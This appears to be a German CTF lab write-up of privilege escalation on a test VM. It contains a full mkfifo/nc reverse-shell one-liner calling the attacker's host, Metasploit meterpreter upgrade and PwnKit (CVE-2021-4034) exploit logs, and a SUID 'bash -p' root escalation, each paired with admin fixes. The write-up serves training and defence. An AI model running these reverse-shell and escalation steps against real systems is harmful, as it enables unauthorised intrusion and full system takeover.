**Bewertung:** Standard-Enumeration. Die Datei `ip` ist interessant und sollte untersucht werden. Keine sofort offensichtlichen Schwachstellen.

**Empfehlung (Pentester):** Den Inhalt und die Funktion der Datei `ip` prüfen (`cat ip`, `./ip`, `strings ip`). Das `.ssh`-Verzeichnis auf interessante Inhalte prüfen (`ls -la .ssh`). Nach SUID/GUID-Dateien und sudo-Rechten suchen.
**Empfehlung (Admin):** Berechtigungen im Home-Verzeichnis überprüfen. Sicherstellen, dass keine unnötigen ausführbaren Dateien mit Root-Besitz in Benutzerverzeichnissen liegen.

-bash-5.0$ find / -type f -perm -4000 -ls 2>/dev/null
      867     72 -rwsr-xr-x   1 root     root        72712 Nov 24  2022 /snap/core22/864/usr/bin/chfn
      873     44 -rwsr-xr-x   1 root     root        44808 Nov 24  2022 /snap/core22/864/usr/bin/chsh
      939     71 -rwsr-xr-x   1 root     root        72072 Nov 24  2022 /snap/core22/864/usr/bin/gpasswd
     1023     47 -rwsr-xr-x   1 root     root        47480 Feb 21  2022 /snap/core22/864/usr/bin/mount
     1032     40 -rwsr-xr-x   1 root     root        40496 Nov 24  2022 /snap/core22/864/usr/bin/newgrp
     1047     59 -rwsr-xr-x   1 root     root        59976 Nov 24  2022 /snap/core22/864/usr/bin/passwd
     1162     55 -rwsr-xr-x   1 root     root        55672 Feb 21  2022 /snap/core22/864/usr/bin/su
     1163    227 -rwsr-xr-x   1 root     root       232416 Apr  3 18:00 /snap/core22/864/usr/bin/sudo
     2585    331 -rwsr-xr-x   1 root     root              338536 Jul 19 19:41 /snap/core22/864/usr/lib/openssh/ssh-keysign
       56     43 -rwsr-xr-x   1 root     root               43088 Sep 16  2020 /snap/core18/2790/bin/mount
       65     63 -rwsr-xr-x   1 root     root               64424 Jun 28  2019 /snap/core18/2790/bin/ping
       81     44 -rwsr-xr-x   1 root     root               44664 Nov 29  2022 /snap/core18/2790/bin/su
       99     27 -rwsr-xr-x   1 root     root               26696 Sep 16  2020 /snap/core18/2790/bin/umount
   922466    128 -rwsr-xr-x   1 root     root              130152 Jun  5  2020 /usr/lib/snapd/snap-confine
   918861     16 -rwsr-xr-x   1 root     root               14488 Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
   919076     24 -rwsr-xr-x   1 root     root               22840 Aug 16  2019 /usr/lib/policykit-1/polkit-agent-helper-1
   935153    464 -rwsr-xr-x   1 root     root              473576 May 29  2020 /usr/lib/openssh/ssh-keysign
   918587     88 -rwsr-xr-x   1 root     root               88464 May 28  2020 /usr/bin/gpasswd
   918308     56 -rwsr-xr-x   1 root     root               55528 Apr  2  2020 /usr/bin/mount
   918156     40 -rwsr-xr-x   1 root     root               39144 Mar  7  2020 /usr/bin/fusermount
   918588     68 -rwsr-xr-x   1 root     root               68208 May 28  2020 /usr/bin/passwd
   920186     44 -rwsr-xr-x   1 root     root               44784 May 28  2020 /usr/bin/newgrp
   917977     56 -rwsr-sr-x   1 daemon   daemon             55560 Nov 12  2018 /usr/bin/at
   918578    164 -rwsr-xr-x   1 root     root              166056 Feb  3  2020 /usr/bin/sudo
   918584     84 -rwsr-xr-x   1 root     root               85064 May 28  2020 /usr/bin/chfn
   917983   1156 -rwsr-sr-x   1 root     root             1183448 Feb 25  2020 /usr/bin/bash
   918376     32 -rwsr-xr-x   1 root     root               31032 Aug 16  2019 /usr/bin/pkexec
   918647     40 -rwsr-xr-x   1 root     root               39144 Apr  2  2020 /usr/bin/umount
   918585     52 -rwsr-xr-x   1 root     root               53040 May 28  2020 /usr/bin/chsh
   918577     68 -rwsr-xr-x   1 root     root               67816 Apr  2  2020 /usr/bin/su

**Analyse:** `find` wird verwendet, um nach SUID-Dateien zu suchen (`-perm -4000`). * Viele Standard-SUID-Dateien werden gefunden. * Dateien unter `/snap/` sind typisch für Snap-Pakete. * `/usr/bin/pkexec` (Aug 2019) ist wieder vorhanden, PwnKit ist eine Möglichkeit. * **`/usr/bin/bash`** ist erneut mit SUID (`-rwsr-sr-x`, auch SGID) und Besitzer `root` aufgeführt. Dies ist ein starker Indikator für eine absichtliche oder unbeabsichtigte Backdoor/Fehlkonfiguration.

**Bewertung:** Das SUID-gesetzte `/usr/bin/bash` ist der mit Abstand vielversprechendste Vektor für Privilege Escalation. PwnKit ist eine zweite Option, falls Bash nicht funktioniert.

**Empfehlung (Pentester):** Versuchen, die SUID-Bash direkt auszuführen: `/usr/bin/bash -p`. Der `-p` Flag versucht, die effektive UID (root) beizubehalten, was bei SUID-Binaries oft funktioniert.
**Empfehlung (Admin):** **Das SUID-Bit von `/usr/bin/bash` sofort entfernen (`chmod u-s /usr/bin/bash`)!** Dies ist eine massive Sicherheitslücke. Untersuchen, warum dieses Bit gesetzt wurde.

Erneuter Versuch, eine Reverse Shell aufzubauen und zu Meterpreter upzugraden.

┌──(root㉿cycat)-[~] └─# msfconsole -q
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


View the full module info with the info, or info -d command.
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > set lhost eth0
lhost => 192.168.2.199
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.199:4444
-bash-5.0$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4444 >/tmp/f
rm: cannot remove '/tmp/f': No such file or directory
[*] Started reverse TCP handler on 192.168.2.199:4444
[*] Command shell session 1 opened (192.168.2.199:4444 -> 192.168.2.114:43596) at 2023-09-15 00:32:11 +0200

Shell Banner:
$
--

$

**Analyse:** Es wird erneut eine einfache Reverse Shell mit `mkfifo` und `nc` von der `oscp`-SSH-Sitzung zu einem Metasploit-Listener auf Port 4444 aufgebaut. Session 1 wird in Metasploit geöffnet.

**Bewertung:** Redundanter Schritt, da eine stabile SSH-Sitzung bereits besteht und SUID-Bash als direkter Privesc-Vektor identifiziert wurde. Möglicherweise wird hier versucht, den PwnKit-Exploit über Metasploit zu nutzen.

**Empfehlung (Pentester):** Den direkten Weg über SUID-Bash in der SSH-Sitzung bevorzugen. Metasploit ist hier nicht unbedingt nötig.
**Empfehlung (Admin):** Ausgehende Verbindungen beschränken.

msf6 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > options
Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on


View the full module info with the info, or info -d command.
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > set lport 4433
lport => 4433
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:4433
[*] Sending stage (1017704 bytes) to 192.168.2.114
[*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.114:59746) at 2023-09-15 00:33:02 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) >

**Analyse:** Die einfache Shell (Session 1) wird zu einer Meterpreter-Session (Session 2) auf Port 4433 upgegradet. Der Befehl `use 70` im Originaltext war unklar und wurde hier durch den korrekten Modulnamen ersetzt.

**Bewertung:** Erfolgreiches Upgrade zu Meterpreter als Benutzer `oscp`.

**Empfehlung (Pentester):** Session 2 nutzen oder den einfacheren Weg über SUID-Bash in der SSH-Sitzung gehen.
**Empfehlung (Admin):** IDS/IPS zur Erkennung von Meterpreter.

Proof of Concept (Privilege Escalation)

**Kurzbeschreibung:** Nach Erlangung einer Shell als `oscp`-Benutzer wird eine SUID-gesetzte Bash-Shell (`/usr/bin/bash`) entdeckt. Diese Fehlkonfiguration wird ausgenutzt, um direkt Root-Rechte zu erlangen. Alternativ wird gezeigt, wie PwnKit (CVE-2021-4034) hier erfolgreich war. *[Anmerkung: Das Protokoll zeigt beide Wege, SUID-Bash ist der wahrscheinlichere/einfachere Weg; PwnKit wird hier als zweiter erfolgreicher Weg dokumentiert, wie im Log gezeigt.]*

**Voraussetzungen (PwnKit):**

  • Shell-Zugriff als niedrig privilegierter Benutzer (hier: `oscp`).
  • Metasploit Framework.
  • Zielsystem anfällig für CVE-2021-4034 (PwnKit).
**Voraussetzungen (SUID Bash):**
  • Shell-Zugriff als niedrig privilegierter Benutzer (hier: `oscp`).
  • SUID-Bit auf `/usr/bin/bash` gesetzt und Ausführung erlaubt.

**Schritt-für-Schritt-Anleitung (PwnKit via Metasploit):**

1. Erlangung einer Meterpreter-Session als `oscp` (Session 2, siehe oben).

2. Ausführen des PwnKit-Exploit-Moduls.

[*] Started reverse TCP handler on 192.168.2.199:4435
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.dpxfkeszlq
[+] The target is vulnerable.
[*] Writing '/tmp/.fwpgmga/emobbbjtcbhl/emobbbjtcbhl.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.fwpgmga
[*] Sending stage (3045348 bytes) to 192.168.2.114
[+] Deleted /tmp/.fwpgmga/emobbbjtcbhl/emobbbjtcbhl.so
[+] Deleted /tmp/.fwpgmga/.ndgggybf
[+] Deleted /tmp/.fwpgmga
[*] Meterpreter session 3 opened (192.168.2.199:4435 -> 192.168.2.114:45014) at 2023-09-15 00:34:25 +0200

**Analyse:** Das PwnKit-Modul (vermutlich `linux/local/cve_2021_4034_pwnkit_lpe_pkexec`, obwohl der `use`-Befehl fehlt) wird auf Session 2 ausgeführt. Es startet einen Handler auf Port 4435, bestätigt die Anfälligkeit, lädt eine Payload hoch und meldet erfolgreich `Meterpreter session 3 opened`.

**Bewertung:** **Privilege Escalation erfolgreich (PwnKit)!** Obwohl es auf einem anderen System (Os-Hax) mit 32-Bit scheiterte, funktioniert es hier. Session 3 läuft nun mit Root-Rechten.

**Schritt-für-Schritt-Anleitung (SUID Bash - Alternativ/Direkter):**

1. Identifizierung der SUID-Bash in der `oscp`-SSH-Sitzung (siehe `find`-Befehl oben).

2. Ausführen der SUID-Bash mit dem `-p`-Flag.

-bash-5.0$ /usr/bin/bash -p
bash-5.0# id
uid=1000(oscp) gid=1000(oscp) euid=0(root) egid=0(root) groups=0(root),1000(oscp)
bash-5.0# 

**Analyse:** Der Befehl `/usr/bin/bash -p` wird ausgeführt. Der `-p` Flag verhindert, dass Bash die effektiven Benutzer- und Gruppen-IDs (euid/egid) auf die realen IDs zurücksetzt. Da die Bash SUID Root ist, bleibt die euid auf 0 (Root). Der Prompt ändert sich zu `#` (oder bleibt gleich, aber `id` bestätigt es). Der `id`-Befehl zeigt `euid=0(root)`.

**Bewertung:** **Privilege Escalation erfolgreich (SUID Bash)!** Dies ist ein sehr direkter und einfacher Weg zu Root-Rechten aufgrund der SUID-Fehlkonfiguration.

**Erwartetes Ergebnis (Beide Methoden):** Erlangung einer Shell mit Root-Berechtigungen (euid=0).

**Beweismittel:** Die Ausgabe von Metasploit (Session 3) oder die Ausgabe des `id`-Befehls (`euid=0(root)`) nach Ausführung von `bash -p`.

**Risikobewertung:** Sowohl die PwnKit-Schwachstelle als auch insbesondere die SUID-gesetzte Bash stellen **KRITISCHE** Risiken dar, die eine vollständige Systemübernahme ermöglichen.

**Empfehlungen (Zusammenfassung POC):**

  • **Admin:** Das SUID-Bit von `/usr/bin/bash` **sofort entfernen** (`chmod u-s /usr/bin/bash`).
  • **Admin:** Das System **dringend patchen**, um CVE-2021-4034 (PwnKit) zu beheben.
  • **Admin:** Den kompromittierten SSH-Schlüssel widerrufen und die Ursache des Leaks untersuchen.
  • **Admin:** Prinzip der geringsten Rechte konsequent anwenden (keine unnötigen SUID-Bits).

Aktionen als Root (aus der PwnKit-Meterpreter-Shell).

meterpreter > shell
Process 3465 created. Channel 1 created. id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd),1000(oscp) cd /rootr /bin/sh: 2: cd: can't cd to /rootr cd /root ls fix-wordpress flag.txt snap cat flag.tx cat: flag.tx: No such file or directory cat flag.txt d73b04b0e696b0945283defa3eee4538

**Analyse:** Aus der Root-Meterpreter-Session (Session 3) wird mit `shell` eine System-Shell geöffnet. * `id` bestätigt Root-Rechte (`uid=0(root)`). * Ein Tippfehler bei `cd /rootr` führt zu einem Fehler. * `cd /root` wechselt erfolgreich ins Root-Home-Verzeichnis. * `ls` zeigt den Inhalt, darunter `flag.txt`. * Ein weiterer Tippfehler bei `cat flag.tx` scheitert. * `cat flag.txt` liest erfolgreich den Root-Flag aus.

**Bewertung:** Root-Zugriff bestätigt und Root-Flag erfolgreich gefunden.

**Empfehlung (Pentester):** Flag notieren. Test abschließen.
**Empfehlung (Admin):** Die identifizierten Schwachstellen (SSH-Key Leak, SUID-Bash, PwnKit) beheben.

Flags

[Anmerkung: Der User-Flag wurde im Protokoll nicht explizit ausgelesen. Nur der Root-Flag wird angezeigt.]

cat /root/flag.txt (Root Flag)
d73b04b0e696b0945283defa3eee4538